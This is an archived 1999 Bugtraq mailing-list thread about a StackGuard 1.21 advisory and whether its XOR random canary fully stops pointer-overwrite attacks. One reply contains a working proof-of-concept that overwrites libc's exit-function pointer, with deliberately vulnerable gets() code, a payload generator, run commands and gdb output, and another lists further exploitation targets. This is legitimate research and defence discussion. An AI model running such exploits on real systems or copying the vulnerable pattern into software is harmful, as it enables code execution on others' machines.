Mail Archive

ImmuniX OS  - Bugtraq Thread 1 10-1999  bugtraq@securityfocus.com

11/08/99   [ImmuniX OS Security Alert: StackGuard 1.21 Released]     Crispin Cowan

11/10/99   [ImmuniX OS Security Alert: StackGuard 1.21 Released]     Gerardo Richarte

11/10/99   [ImmuniX OS Security Alert: StackGuard 1.21 Released]     Iván

11/10/99   [ImmuniX OS Security Alert: StackGuard 1.21 Released]      Crispin Cowan

         11/11/99  [Re: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21Released]     Gerardo Richarte

         11/12/99   [Re: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21Released]    Crispin Cowan




From:  Crispin Cowan <crispin@CSE.OGI.EDU>
Date: Mon Nov 08 1999 20:44:13
Subject:         ImmuniX OS Security Alert: StackGuard 1.21 Released
To:              BUGTRAQ@SECURITYFOCUS.COM
---------------------------------------------------------------------
ImmuniX OS Security Alert
Synopsis:  StackGuard vulnerability found & fixed
Advisory ID:  Immunix-1999:01
Issue date:  1999-11-09
Updated on:  1999-11-09
Keywords:  StackGuard
Cross references:
---------------------------------------------------------------------

1. Topic:

A method has been found to violate StackGuard protection against stack
smashing attacks.  ImmuniX OS is generally intended to aleviate the
need for frequent patching; this is the first StackGuard vulnerability
to be discovered since StackGuard was introduced in January 1998.

StackGuard 1.21 fixes this problem, available at
http://immunix.org/downloads.html#sg1.21

2. Problem description:

A significant security vulnerability has been discovered by Mariusz
Woloszyn <emsi@it.pl> that permits attackers to perpetrate successful
attacks against StackGuarded programs under particular circumstances.
Woloszyn is preparing a Phrack article describing this vulnerability,
which we summarize here.  StackGuard 1.21 effectively protects against
this vulnerability.  The Immunix team would like to thank Mariusz for
kindly notifying us first about this vulnerability, and allowing us the
time to develop and distribute a defense.

Consider this vulnerable code:

foo(char * arg) {
    char *    p = arg;    // a vulnerable pointer
    char a[25];    // the buffer that makes the pointer vulnerable

    gets(a);    // using gets() makes you vulnerable
    gets(p);    // this is the good part
}

In attacking this code, the attacker first overflows the buffer a[] with
a goal of changing the value of the char * p pointer.  Specifically,
the attacker can cause the p pointer to point anywhere in memory,
but especially at a return address record in an activation record.
When the program then takes input and stores it where p points, the
input data is stored where the attacker said to store it.

The above attack is effective against the Random and Terminator Canary
mechanisms because those methods assume that the attack is linear,
i.e. that an attacker seeking to corrupt the return address must
necessarily use a string operation that overflows an automatic buffer on
the stack, moving up memory through the canary word, and only then reach
the return address entry.  The above attack form, however, allows the
attacker to synthesize a pointer to arbitrary space, including pointing
directly at the return address, bypassing canary protection.

NOTE:  No *actual* vulnerabilities of this form are known, but programs
with this vulnerability are plausible.

3. Solution:  The XOR Random Canary

StackGuard 1.21 introduces a new canary defense mechanism: the XOR
Random canary.  Like the random canary mechanism, we choose a vector
of 128 random canary words at exec() time, but we also XOR the canary
with the return address word, so that the return address is bound to
the random canary value.  The exact procedure is as follows:

   * Setting up an activation record: when calling a function
        o push the return address
        o look up the random canary word for the current function
        o XOR the random canary word with the return address
        o store the result immediately below the return address in the
          activation record
   * Tearing down an activation record: when returning from a function
        o fetch the canary word from memory
        o XOR the memory canary word with the return address on the
        stack
       o compare the result with the random canary word associated with
    the current function

The result of this method is that we have the same protection as with
the classic Random canary, and also the property that the attacker
cannot
modify the return address without invalidating the canary word.

Availability

StackGuard 1.21 has been made available:

 http://immunix.org/downloads.html#sg1.21

We have done partial testing with this compiler, using it to build
many programs common in Linux distributions, and have not observed any
problems.  However, we have not yet done a complete build of an entire
Linux distribution, so this compiler should be considered beta for now.

Crispin Cowan & the ImmuniX development team
-----
Crispin Cowan, CTO, WireX Communications, Inc.    http://wirex.com
Free Hardened Linux Distribution:                http://immunix.org




Subject:Re: ImmuniX OS Security Alert: StackGuard 1.21 Released
Date: Wed Nov 10 1999 03:20:19
Author:  Gerardo Richarte gera@core-sdi.com
Message-ID: <3829B8BD.ABD3BCF9@core-sdi.com>

Crispin Cowan wrote:

   Consider this vulnerable code:

   foo(char * arg) {
       char *    p = arg;    // a vulnerable pointer
       char a[25];    // the buffer that makes the pointer vulnerable

       gets(a);    // using gets() makes you vulnerable
       gets(p);    // this is the good part
   }

   In attacking this code, the attacker first overflows the buffer a[]
  with a goal of changing the value of the char * p pointer.  Specifically,
   the attacker can cause the p pointer to point anywhere in memory,
   but especially at a return address record in an activation record.
   When the program then takes input and stores it where p points, the
   input data is stored where the attacker said to store it.

    I think that having this kind of overflow available, StackWard is
still vulnerable to a little smarter attack.
    You may think that this code example is too tricky, but there was a
buffer overflow in bind's inverse query
(http://www.securityfocus.com/vdb/bottom.html?vid=134) like this. This
makes me remember of some code I wrote to exploit this for Sparcs, as
it was just one call deep, it was imposible to overwrite the return
address, so, by using a memcpy() to a pointer I could overwrite (like
that one in the example code) I overwrited part of the libc in memory, lets say
printf, so when the program called printf() after the second memcpy(),
instead of calling the original printf() it called my code: Here you
have an exploit that can be used still if you have StackWard.

Am I wrong?

Gerardo Richarte

--
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com

--- For a personal reply use gera@core-sdi.com



Subject: Re: ImmuniX OS Security Alert: StackGuard 1.21 Released
Date:Wed Nov 10 1999 07:42:37
Author: Iván Arce ivan@core-sdi.com
Message-ID:<3829F541.9E635776@core-sdi.com>

Crispin Cowan wrote:

> Gerardo Richarte wrote:
>
> >     I think that having this kind of overflow available, StackWard is
> > still vulnerable to a little smarter attack.
>
>
> >     You may think that this code example is too tricky, but there was a
> > buffer overflow in bind's inverse query
> > (http://www.securityfocus.com/vdb/bottom.html?vid=134) like this. This
> > makes me remember of some code I wrote to exploit this for Sparcs, as
> > it was just one call deep, it was imposible to overwrite the return
> > address, so, by using a memcpy() to a pointer I could overwrite (like
> > that one in
> > the example code) I overwrited part of the libc in memory, lets say
> > printf, so when the program called printf() after the second memcpy(),
> > instead of calling the original printf() it called my code: Here you
> > have an exploit that can be used still if you have StackWard.
>
> You appear to be describing a buffer overflow that attacks a pointer, and

No he is describing an attack that exploits a buffer overflow, the particular case
is that the vulnerability allows the attacker to overwrite a pointer, the ways
to exploit that are many, Gerardo mentions overwritting a libc function, other
things that come to mind:
. Modifying the PLT
. Modifying the GOT
. Modifiying the _dynamic struct
. Overwritting global variables (i somehow recall an exploit that modifies a
global FILE struct  under some *BSD flavor)
. Overwritting C++ object destructors
 

> not the activation record.  StackGuard only claims to protect the
> activation record, so while this is a legitimate vulnerability that
> StackGuard does not prevent, it is not actually a bug in StackGuard.
>

Well, your original post said:

> Consider this vulnerable code:
>
> foo(char * arg) {
>     char *    p = arg;    // a vulnerable pointer
>     char a[25];    // the buffer that makes the pointer vulnerable
>
>     gets(a);    // using gets() makes you vulnerable
>     gets(p);    // this is the good part
> }
>
> In attacking this code, the attacker first overflows the buffer a[] with
> a goal of changing the value of the char * p pointer.  Specifically,
> the attacker can cause the p pointer to point anywhere in memory,
> but especially at a return address record in an activation record.
> When the program then takes input and stores it where p points, the
> input data is stored where the attacker said to store it.
>

"in attacking this code" is a key phrase here...
I believe Gerardo tries to say that it is posible to attack that code in many
different ways and therefore:

> 3. Solution:  The XOR Random Canary
 

It is not so.

It's just a way to prevent ONE kind of exploitation of that code
 

> The result of this method is that we have the same protection as with
> the classic Random canary, and also the property that the attacker cannot

Exactly, "the same protection"
It just doesnt fix the problem of exploiting the code
in a way that does not involve:
 

> modify the return address without invalidating the canary word.

This in no way implies that StackGuard is not an effective solution against
common buffer overflow vulnerabilities and the usual way of exploiting them,
but i think its  importart to point out exactly against what it DOES protect you
and against what it DOESNT.

that said, i now run to trademark StackWard....
btw, what about StackWars?
-ivan

--
"Understanding. A cerebral secretion that enables one having it to know
 a house from a horse by the roof on the house,
 It's nature and laws have been exhaustively expounded by Locke,
 who rode a house, and Kant, who lived in a horse." - Ambrose Bierce
 

==================[ CORE Seguridad de la Informacion S.A. ]=============
Iván Arce - Presidente -
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal
Buenos Aires, Argentina.              Tel/Fax : +(54-11) 4331-5402
================================================================
--- For a personal reply use iarce@core-sdi.com



From:  Crispin Cowan <crispin@CSE.OGI.EDU>
Subject: Re: ImmuniX OS Security Alert: StackGuard 1.21 Released
Date: Wed Nov 10 1999 13:06:42
Message-ID: <3829EC71.70C61F30@cse.ogi.edu>

Gerardo Richarte wrote:

>     I think that having this kind of overflow available, StackWard is
> still vulnerable to a little smarter attack.

I assume you mean "StackGuard".  I've never heard of StackWard, and
neither has Altavista.  If someone needs a catch project name, "stackward"
seems to be available :-)
 

>   You may think that this code example is too tricky, but there was a
> buffer overflow in bind's inverse query
> (http://www.securityfocus.com/vdb/bottom.html?vid=134) like this. This
> makes me remember of some code I wrote to exploit this for Sparcs, as
> it was just one call deep, it was imposible to overwrite the return
> address, so, by using a memcpy() to a pointer I could overwrite (like
> that one in
> the example code) I overwrited part of the libc in memory, lets say
> printf, so when the program called printf() after the second memcpy(),
> instead of calling the original printf() it called my code: Here you
> have an exploit that can be used still if you have StackWard.

You appear to be describing a buffer overflow that attacks a pointer, and
not the activation record.  StackGuard only claims to protect the
activation record, so while this is a legitimate vulnerability that
StackGuard does not prevent, it is not actually a bug in StackGuard.

We are developing a future product called "PointGuard" that will try to
apply StackGuard-style integrity checking to code pointers, but it is a
long way from ready.  If I understand your bind vulnerability correctly,
it is the kind of thing that PointGuard would be able to defend against.

Crispin
-----
Crispin Cowan, CTO, WireX Communications, Inc.    http://wirex.com
Free Hardened Linux Distribution:                 http://immunix.org



 Subject: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released
 Date: Thu Nov 11 1999 02:49:32
 Author:  Gerardo Richarte gera@core-sdi.com
 Message-ID: <382AD8E0.304928DD@core-sdi.com>

Crispin Cowan wrote:

> I assume you mean "StackGuard".  I've never heard of StackWard, and
> neither has Altavista.  If someone needs a catch project name, "stackward"
> seems to be available :-)
>
> You appear to be describing a buffer overflow that attacks a pointer, and
> not the activation record.  StackGuard only claims to protect the
> activation record, so while this is a legitimate vulnerability that
> StackGuard does not prevent, it is not actually a bug in StackGuard.
>

 Sorry for my bad english, I think that this is the problem why you
misunderstood what I'm trying to say... I'll try to explain it again.
Quoting from you previuos post:
 

> 1. Topic:
>
> A method has been found to violate StackGuard protection against stack
> smashing attacks.  ImmuniX OS is generally intended to aleviate the
> need for frequent patching; this is the first StackGuard vulnerability
> to be discovered since StackGuard was introduced in January 1998.
>
> StackGuard 1.21 fixes this problem, available at
> http://immunix.org/downloads.html#sg1.21
>
> 3. Solution:  The XOR Random Canary

What I'm trying to say is that the new XOR Random Canary, is not a
solution to the problem, you just need a different aproach to the buffer
overflow, and as it's not secret (I already described it in a previous
post, and not knowing it doesn't mean that anybody else doesn't know
it), I'll describe it again a little clearer (I hope).

> 2. Problem description:
>
> Consider this vulnerable code:
>
> foo(char * arg) {
>    char *    p = arg;    // a vulnerable pointer
>    char a[25];    // the buffer that makes the pointer vulnerable
>
>    gets(a);    // using gets() makes you vulnerable
>    gets(p);    // this is the good part
>}

For my example I'll use a slightly modified version of your vulnerable
code example (bug.c):



#include <stdio.h>

void main() {
    char *arg;
    char *p = arg;    // a vulnerable pointer
    char a[28];    // the buffer that makes the pointer vulnerable
(changed 25 for 28 for padding)
    gets(a);    // using gets() makes you vulnerable
    gets(p);    // this is the good part
}

And here is my exploit (bugexp.c):



#include <stdio.h>
void main() {
    int i=0;

    long address=0x4010022c;    // Called from exit()
    for (;i<28;i++) printf("a");

    printf("%c%c%c%c\n",address & 0xff, (address >> 8)&0xff,(address >> 16)&0xff, (address >> 24)&0xff);

    address=0x40100230; // Where my code will be in memory (1 long afterthe address)

    printf("%c%c%c%c",address & 0xff, (address >> 8)&0xff,(address >>16)&0xff, (address >> 24)&0xff);

    for (i=0;i<300;i++) printf("\xc4"); // This is the best part, opcode 0xc4 is an invalid opcode
    printf("\n");
}



Now I'll explain how to use it:

$make bug
$make bug
$bugexp >eploit
$bug <exploit
Illegal instruction (core dumped)               // Note the illegal instruction
now:
$gdb bugcore core
(gdb) x/20x $eip
0x4010023d <fnlist+29>: 0xc4c4c4c4      0xc4c4c4c4      0xc4c4c4c4      0xc4c4c4c4

So I can execute whatever I want, and I have at least 392 bytes to do it.
and what it does:
With the first gets(a) it overwrites just p, so it points to 0x4010022c
that is the address in memory of libc's __exit_funcs[0].func.at (look
forward for exit()'s source code), a pointer to a function that will be
called by libc's exit().
        Then on gets(p) I overwrite this pointer with a pointer to my code and
place my code after this pointer.

        Now the only thing I have to do is wait exit() to call me. Look at exit
(this is from debian, but obviously it's close enogh to RedHat's, and to
OBSD too):

void
DEFUN(exit, (status), int status)

  for (; __exit_funcs; __exit_funcs = __exit_funcs->next)
    {
      while ((__exit_funcs->idx)-- > 0)
    {
      CONST struct exit_function *CONST f
        = &__exit_funcs->fns[__exit_funcs->idx];
      switch (f->flavor)
        {
        case ef_free:
          break;
        case ef_on:
          (*f->func.on.fn)(status, f->func.on.arg);
          break;
        case ef_at:
          (*f->func.at)();
          break;
        }}}

 [...]

  I hope you understand me now.

 I don't dere to claim that this is a new method, but this method of
exploiting a buffer overflow has some good features:

The host program doesn't crash until it exits (and you can code things
so it doesn't crash at all)

You can use the overflow several times to add more than one
__exit_function to the same server, the only thing you need is space
where to place your code.

I haven't tested this with StackGuard (!), but it should work, I
started downloading it, but never finished. Would you try it for me?
 

PS: You can also try overwriting things like signal handlers, objects
destructors (look at: __do_global_dtors_aux) etc.

--
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com




From:            Crispin Cowan <crispin@cse.ogi.edu>
Subject:         Re: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21Released
Date sent:       13 Nov 1999 12:25:16 -0300
Organization:    Oregon Graduate Institute

Gerardo Richarte wrote:

> > You appear to be describing a buffer overflow that attacks a pointer, and
> > not the activation record.  StackGuard only claims to protect the
> > activation record, so while this is a legitimate vulnerability that
> > StackGuard does not prevent, it is not actually a bug in StackGuard.
>    Sorry for my bad english, I think that this is the problem why you
> misunderstood what I'm trying to say... I'll try to explain it again.

I'll try to explain again:  you are over-writing function pointers.
StackGuard does not defend function pointers.  Yes, this is a legitimate
vulnerability, but it is a vulnerability beyond the scope of the
StackGuard tool.

StackGuard is intended to defend function activation records, and
nothing more.  Emsi's hack found a way to corrupt an activation record
without StackGuard detecting it.  StackGuard 1.21 closes that
vulnerability, and so we are back to our original claim:  you can't use
a buffer overflow to corrupt the return address of a function pointer
without StackGuard detecting it.

>   with the first gets(a) it overwrites just p, so it points to 0x4010022c
> that is the address in memory of libc's __exit_funcs[0].func.at (look
> forward for exit()'s source code), a pointer to a function that will be
> called by libc's exit().

Precisely: libc's __exit_funcs[0].func.at is a FUNCTION POINTER, and
therefore  Not a StackGuard Issue.  For instance, the following code is
also vulnerable
under StackGuard:

myfunc(void (*virt_func )) {
 void (*foo)() = virt_func;
 char buf[25];

 gets(buf); // overflow buff, corrupt foo ptr
 foo(buf); // wanna call foo, end up calling attack code
)

As I've said before, we are working on a tool called "PointGuard" that
will actually attempt to address this problem.

Crispin
-----
Crispin Cowan, CTO, WireX Communications, Inc.    http://wirex.com
Free Hardened Linux Distribution:                 http://immunix.org